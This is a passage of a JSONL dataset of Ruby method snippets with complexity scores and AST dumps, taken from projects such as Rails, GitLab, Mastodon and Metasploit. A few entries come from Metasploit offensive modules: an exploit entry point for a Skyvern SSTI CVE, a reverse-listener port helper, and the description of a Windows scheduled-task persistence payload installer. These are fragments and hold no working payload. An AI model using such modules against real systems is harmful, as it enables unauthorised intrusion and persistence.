end","complexity_score":61.9,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"full_message\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"attribute\"]},{\"type\":\"arg\",\"children\":[\"message\"]},{\"type\":\"arg\",\"children\":[\"base\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attribute\"]},\"==\",{\"type\":\"sym\",\"children\":[\"base\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"base_class\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"base\"]},\"class\"]}]},{\"type\":\"lvasgn\",\"children\":[\"attribute\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attribute\"]},\"to_s\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"i18n_customize_full_message\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"base_class\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"i18n_scope\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"attribute\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attribute\"]},\"remove\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\[\\\\d+\\\\]\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"parts\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attribute\"]},\"split\",{\"type\":\"str\",\"children\":[\".\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"attribute_name\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parts\"]},\"pop\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parts\"]},\"empty?\"]},null,{\"type\":\"lvasgn\",\"children\":[\"namespace\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parts\"]},\"join\",{\"type\":\"str\",\"children\":[\"/\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"attributes_scope\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"base_class\"]},\"i18n_scope\"]}]},{\"type\":\"str\",\"children\":[\".errors.models\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"namespace\"]},{\"type\":\"lvasgn\",\"children\":[\"defaults\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"base_class\"]},\"lookup_ancestors\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"klass\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"dsym\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attributes_scope\"]}]},{\"type\":\"str\",\"children\":[\".\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"klass\"]},\"model_name\"]},\"i18n_key\"]}]},{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"namespace\"]}]},{\"type\":\"str\",\"children\":[\".attributes.\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attribute_name\"]}]},{\"type\":\"str\",\"children\":[\".format\"]}]},{\"type\":\"dsym\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attributes_scope\"]}]},{\"type\":\"str\",\"children\":[\".\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"klass\"]},\"model_name\"]},\"i18n_key\"]}]},{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"namespace\"]}]},{\"type\":\"str\",\"children\":[\".format\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"defaults\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"base_class\"]},\"lookup_ancestors\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"klass\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"dsym\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attributes_scope\"]}]},{\"type\":\"str\",\"children\":[\".\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"klass\"]},\"model_name\"]},\"i18n_key\"]}]},{\"type\":\"str\",\"children\":[\".attributes.\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attribute_name\"]}]},{\"type\":\"str\",\"children\":[\".format\"]}]},{\"type\":\"dsym\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attributes_scope\"]}]},{\"type\":\"str\",\"children\":[\".\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"klass\"]},\"model_name\"]},\"i18n_key\"]}]},{\"type\":\"str\",\"children\":[\".format\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"defaults\"]},\"flatten!\"]}]},{\"type\":\"lvasgn\",\"children\":[\"defaults\",{\"type\":\"array\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"defaults\"]},\"<<\",{\"type\":\"sym\",\"children\":[\"errors.format\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"defaults\"]},\"<<\",{\"type\":\"str\",\"children\":[\"%{attribute} %{message}\"]}]},{\"type\":\"lvasgn\",\"children\":[\"attr_name\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attribute\"]},\"remove\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\.base\\\\z\"]},{\"type\":\"regopt\",\"children\":[]}]}]},\"tr\",{\"type\":\"str\",\"children\":[\".\"]},{\"type\":\"str\",\"children\":[\"_\"]}]},\"humanize\"]}]},{\"type\":\"lvasgn\",\"children\":[\"attr_name\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"base_class\"]},\"human_attribute_name\",{\"type\":\"lvar\",\"children\":[\"attribute\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"lvar\",\"children\":[\"attr_name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"base\"]},{\"type\":\"lvar\",\"children\":[\"base\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"defaults\"]},\"shift\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"lvar\",\"children\":[\"defaults\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"attribute\"]},{\"type\":\"lvar\",\"children\":[\"attr_name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"lvar\",\"children\":[\"message\"]}]}]}]}]}]}","id":"586bea5b-3efc-4ce3-add4-d49cf6e5c7b7"} {"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/jobs/internal/check_new_versions_job.rb","start_line":13,"raw_source":"def update_version_info\n return if @instance_info['version'].blank?\n\n ::Redis::Alfred.set(::Redis::Alfred::LATEST_CHATWOOT_VERSION, @instance_info['version'])\n end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"update_version_info\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@instance_info\"]},\"[]\",{\"type\":\"str\",\"children\":[\"version\"]}]},\"blank?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Redis\"]},\"Alfred\"]},\"set\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Redis\"]},\"Alfred\"]},\"LATEST_CHATWOOT_VERSION\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@instance_info\"]},\"[]\",{\"type\":\"str\",\"children\":[\"version\"]}]}]}]}]}","id":"9be2471b-efc6-44d1-a041-13deb01c253e"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/http/skyvern_ssti_cve_2025_49619.rb","start_line":132,"raw_source":"def exploit\n create_workflow\n trigger_workflow\n end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"exploit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_workflow\"]},{\"type\":\"send\",\"children\":[null,\"trigger_workflow\"]}]}]}","id":"dbcf35b3-de61-41a0-9c49-5eb43464cd2f"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/post_migrate/20241127210044_backfill_user_details.rb","start_line":59,"raw_source":"def log_error(error, user_ids)\n logger.error(\n class: error.class,\n message: \"BackfillUserDetails Migration: error inserting. Reason: #{error.message}\",\n user_ids: user_ids\n )\n end","complexity_score":4.6,"ast_json":"{\"type\":\"def\",\"children\":[\"log_error\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"error\"]},{\"type\":\"arg\",\"children\":[\"user_ids\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"logger\"]},\"error\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"class\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"error\"]},\"class\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"BackfillUserDetails Migration: error inserting. Reason: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"error\"]},\"message\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_ids\"]},{\"type\":\"lvar\",\"children\":[\"user_ids\"]}]}]}]}]}","id":"6ed44e6a-6045-4695-afb7-26785cc62124"} {"repo_name":"hanami","file_path":"./repos/hanami/lib/hanami/extensions/action.rb","start_line":17,"raw_source":"def self.included(action_class)\n super\n\n action_class.extend(Hanami::SliceConfigurable)\n action_class.extend(ClassMethods)\n action_class.prepend(InstanceMethods)\n end","complexity_score":5.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"included\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"action_class\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"action_class\"]},\"extend\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Hanami\"]},\"SliceConfigurable\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"action_class\"]},\"extend\",{\"type\":\"const\",\"children\":[null,\"ClassMethods\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"action_class\"]},\"prepend\",{\"type\":\"const\",\"children\":[null,\"InstanceMethods\"]}]}]}]}","id":"e9ec3a75-fc4b-4ec1-9b0b-679e43218903"} {"repo_name":"mastodon","file_path":"./repos/mastodon/app/workers/admin/distribute_terms_of_service_notification_worker.rb","start_line":19,"raw_source":"def on_start\n @terms_of_service.scope_for_interstitial.in_batches.update_all(require_tos_interstitial: true)\n end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"on_start\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@terms_of_service\"]},\"scope_for_interstitial\"]},\"in_batches\"]},\"update_all\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"require_tos_interstitial\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}","id":"b8d480e8-3098-4ce3-8173-3953676e404a"} {"repo_name":"rails","file_path":"./repos/rails/actionview/test/actionpack/controller/render_test.rb","start_line":540,"raw_source":"def partial_collection_with_spacer\n render partial: \"customer\", spacer_template: \"partial_only\", collection: [ Customer.new(\"david\"), Customer.new(\"mary\") ]\n end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"partial_collection_with_spacer\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"partial\"]},{\"type\":\"str\",\"children\":[\"customer\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"spacer_template\"]},{\"type\":\"str\",\"children\":[\"partial_only\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"collection\"]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Customer\"]},\"new\",{\"type\":\"str\",\"children\":[\"david\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Customer\"]},\"new\",{\"type\":\"str\",\"children\":[\"mary\"]}]}]}]}]}]}]}","id":"8b232943-535c-4f72-bb9e-5ae6295941ae"} {"repo_name":"rails","file_path":"./repos/rails/activesupport/lib/active_support/message_pack/extensions.rb","start_line":263,"raw_source":"def load_class(name)\n Object.const_get(name)\n rescue NameError => error\n if error.name.to_s == name\n raise MissingClassError, \"Missing class: #{name}\"\n else\n raise\n end\n end","complexity_score":10.6,"ast_json":"{\"type\":\"def\",\"children\":[\"load_class\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Object\"]},\"const_get\",{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"NameError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"error\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"error\"]},\"name\"]},\"to_s\"]},\"==\",{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"MissingClassError\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Missing class: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"raise\"]}]}]},null]}]}","id":"ebf22692-6c14-4498-afc1-5d40a3131f53"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/finders/template_finder.rb","start_line":29,"raw_source":"def type_allowed?(type)\n return true if type.to_s == 'licenses'\n\n VENDORED_TEMPLATES.key?(type)\n end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"type_allowed?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"type\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"type\"]},\"to_s\"]},\"==\",{\"type\":\"str\",\"children\":[\"licenses\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"VENDORED_TEMPLATES\"]},\"key?\",{\"type\":\"lvar\",\"children\":[\"type\"]}]}]}]}","id":"84bd6c93-c6e6-4e44-8c27-9b6a4336d53d"} {"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/miq_task.rb","start_line":99,"raw_source":"def self.status_timeout?(status)\n status.casecmp(STATUS_TIMEOUT) == 0\n end","complexity_score":2.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"status_timeout?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"status\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"status\"]},\"casecmp\",{\"type\":\"const\",\"children\":[null,\"STATUS_TIMEOUT\"]}]},\"==\",{\"type\":\"int\",\"children\":[0]}]}]}","id":"56a6a780-0174-4b0b-b0dc-6973b12d548b"} {"repo_name":"discourse","file_path":"./repos/discourse/app/serializers/post_serializer.rb","start_line":542,"raw_source":"def notice\n post_custom_fields[Post::NOTICE]\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"notice\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"post_custom_fields\"]},\"[]\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Post\"]},\"NOTICE\"]}]}]}","id":"939a3996-5807-42b8-8b44-9117c83668e0"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/handler/reverse_udp.rb","start_line":252,"raw_source":"def bind_port\n port = datastore['ReverseListenerBindPort'].to_i\n port > 0 ? port : datastore['LPORT'].to_i\n end","complexity_score":10.5,"ast_json":"{\"type\":\"def\",\"children\":[\"bind_port\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"port\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"ReverseListenerBindPort\"]}]},\"to_i\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"port\"]},\">\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"lvar\",\"children\":[\"port\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"LPORT\"]}]},\"to_i\"]}]}]}]}","id":"ccde9a94-bcd7-4e60-a6aa-ff084cd43d97"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/post_migrate/20250929032125_set_sharding_key_for_deploy_tokens_staging.rb","start_line":8,"raw_source":"def up\n return unless Gitlab.staging?\n\n define_batchable_model(:deploy_tokens).where(project_id: nil, group_id: nil).each_batch do |batch|\n batch\n .where('project_deploy_tokens.deploy_token_id = deploy_tokens.id')\n .where(deploy_tokens: { project_id: nil })\n .update_all('project_id = project_deploy_tokens.project_id FROM project_deploy_tokens')\n end\n end","complexity_score":10.5,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"staging?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"define_batchable_model\",{\"type\":\"sym\",\"children\":[\"deploy_tokens\"]}]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project_id\"]},{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"group_id\"]},{\"type\":\"nil\",\"children\":[]}]}]}]},\"each_batch\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"batch\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"batch\"]},\"where\",{\"type\":\"str\",\"children\":[\"project_deploy_tokens.deploy_token_id = deploy_tokens.id\"]}]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"deploy_tokens\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project_id\"]},{\"type\":\"nil\",\"children\":[]}]}]}]}]}]},\"update_all\",{\"type\":\"str\",\"children\":[\"project_id = project_deploy_tokens.project_id FROM project_deploy_tokens\"]}]}]}]}]}","id":"fde88426-7017-4fad-bff1-6f02a1b767d5"} {"repo_name":"forem","file_path":"./repos/forem/spec/liquid_tags/bandcamp_tag_spec.rb","start_line":16,"raw_source":"def generate_liquid_output(input_string)\n Liquid::Template.register_tag(\"bandcamp\", BandcampTag)\n Liquid::Template.parse(\"{% bandcamp #{input_string} %}\").render\n end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"generate_liquid_output\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"input_string\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Liquid\"]},\"Template\"]},\"register_tag\",{\"type\":\"str\",\"children\":[\"bandcamp\"]},{\"type\":\"const\",\"children\":[null,\"BandcampTag\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Liquid\"]},\"Template\"]},\"parse\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"{% bandcamp \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"input_string\"]}]},{\"type\":\"str\",\"children\":[\" %}\"]}]}]},\"render\"]}]}]}","id":"e638f60b-fdfe-4976-afef-ad73b15ba8be"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/organizations/organization_user.rb","start_line":29,"raw_source":"def self.update_home_organization_record_for(user, user_is_admin:)\n find_or_initialize_by(\n user_id: user.id, organization_id: user.organization_id\n ).tap do |record|\n record.access_level = home_organization_access_level(user_is_admin: user_is_admin)\n record.save!\n end\n end","complexity_score":9.6,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"update_home_organization_record_for\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]},{\"type\":\"kwarg\",\"children\":[\"user_is_admin\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"find_or_initialize_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"organization_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"organization_id\"]}]}]}]},\"tap\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"record\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"record\"]},\"access_level=\",{\"type\":\"send\",\"children\":[null,\"home_organization_access_level\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_is_admin\"]},{\"type\":\"lvar\",\"children\":[\"user_is_admin\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"record\"]},\"save!\"]}]}]}]}","id":"3d99ce77-524e-4f68-b1fe-e0765328b20a"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi_webcam.rb","start_line":27,"raw_source":"def self.has_command?(name)\n Dispatchers.any? { |klass| klass.has_command?(name) }\n end","complexity_score":3.1,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"has_command?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Dispatchers\"]},\"any?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"klass\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"klass\"]},\"has_command?\",{\"type\":\"lvar\",\"children\":[\"name\"]}]}]}]}","id":"4888d995-028f-40fe-86b0-1b00c6b896c2"} {"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/message_annotator.rb","start_line":91,"raw_source":"def style_guide_base_url\n department_name = cop_name.split('/')[0..-2].join('/')\n\n config.for_department(department_name)['StyleGuideBaseURL'] ||\n config.for_all_cops['StyleGuideBaseURL']\n end","complexity_score":15.0,"ast_json":"{\"type\":\"def\",\"children\":[\"style_guide_base_url\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"department_name\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cop_name\"]},\"split\",{\"type\":\"str\",\"children\":[\"/\"]}]},\"[]\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[-2]}]}]},\"join\",{\"type\":\"str\",\"children\":[\"/\"]}]}]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"config\"]},\"for_department\",{\"type\":\"lvar\",\"children\":[\"department_name\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"StyleGuideBaseURL\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"config\"]},\"for_all_cops\"]},\"[]\",{\"type\":\"str\",\"children\":[\"StyleGuideBaseURL\"]}]}]}]}]}","id":"5998f4e6-67bc-4171-a150-0db322b98054"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/local/s4u_persistence.rb","start_line":13,"raw_source":"def initialize(info = {})\n super(\n update_info(\n info,\n 'Name' => 'Windows Manage User Level Persistent Payload Installer',\n 'Description' => %q{\n Creates a scheduled task that will run using service-for-user (S4U).\n This allows the scheduled task to run even as an unprivileged user\n that is not logged into the device. This will result in lower security\n context, allowing access to local resources only. The module\n requires 'Logon as a batch job' permissions (SeBatchLogonRight).\n },\n 'License' => MSF_LICENSE,\n 'Author' => [\n 'Thomas McCarthy \"smilingraccoon\" <smilingraccoon[at]gmail.com>',\n 'Brandon McCann \"zeknox\" <bmccann[at]accuvant.com>'\n ],\n 'Platform' => 'win',\n 'SessionTypes' => [ 'meterpreter' ],\n 'Targets' => [ [ 'Windows', {} ] ],\n 'DisclosureDate' => '2013-01-02', # Date of scriptjunkie's blog post\n 'DefaultTarget' => 0,\n 'References' => [\n [ 'URL', 'http://www.pentestgeek.com/2013/02/11/scheduled-tasks-with-s4u-and-on-demand-persistence/' ],\n [ 'URL', 'http://www.scriptjunkie.us/2013/01/running-code-from-a-non-elevated-account-at-any-time/' ]\n ],\n 'Compat' => {\n 'Meterpreter' => {\n 'Commands' => %w[\n stdapi_railgun_api\n stdapi_sys_config_getenv\n stdapi_sys_config_getuid\n ]\n }\n },\n 'Notes' => {\n 'Reliability' => UNKNOWN_RELIABILITY,\n 'Stability' => UNKNOWN_STABILITY,\n 'SideEffects' => UNKNOWN_SIDE_EFFECTS\n }\n )\n )\n\n register_options(\n [\n OptInt.new('FREQUENCY', [false, 'Schedule trigger: Frequency in minutes to execute']),\n OptInt.new('EXPIRE_TIME', [false, 'Number of minutes until trigger expires', 0]),\n OptEnum.new('TRIGGER', [true, 'Payload trigger method', 'schedule', ['event', 'lock', 'logon', 'schedule', 'unlock']]),\n OptString.new('REXENAME', [false, 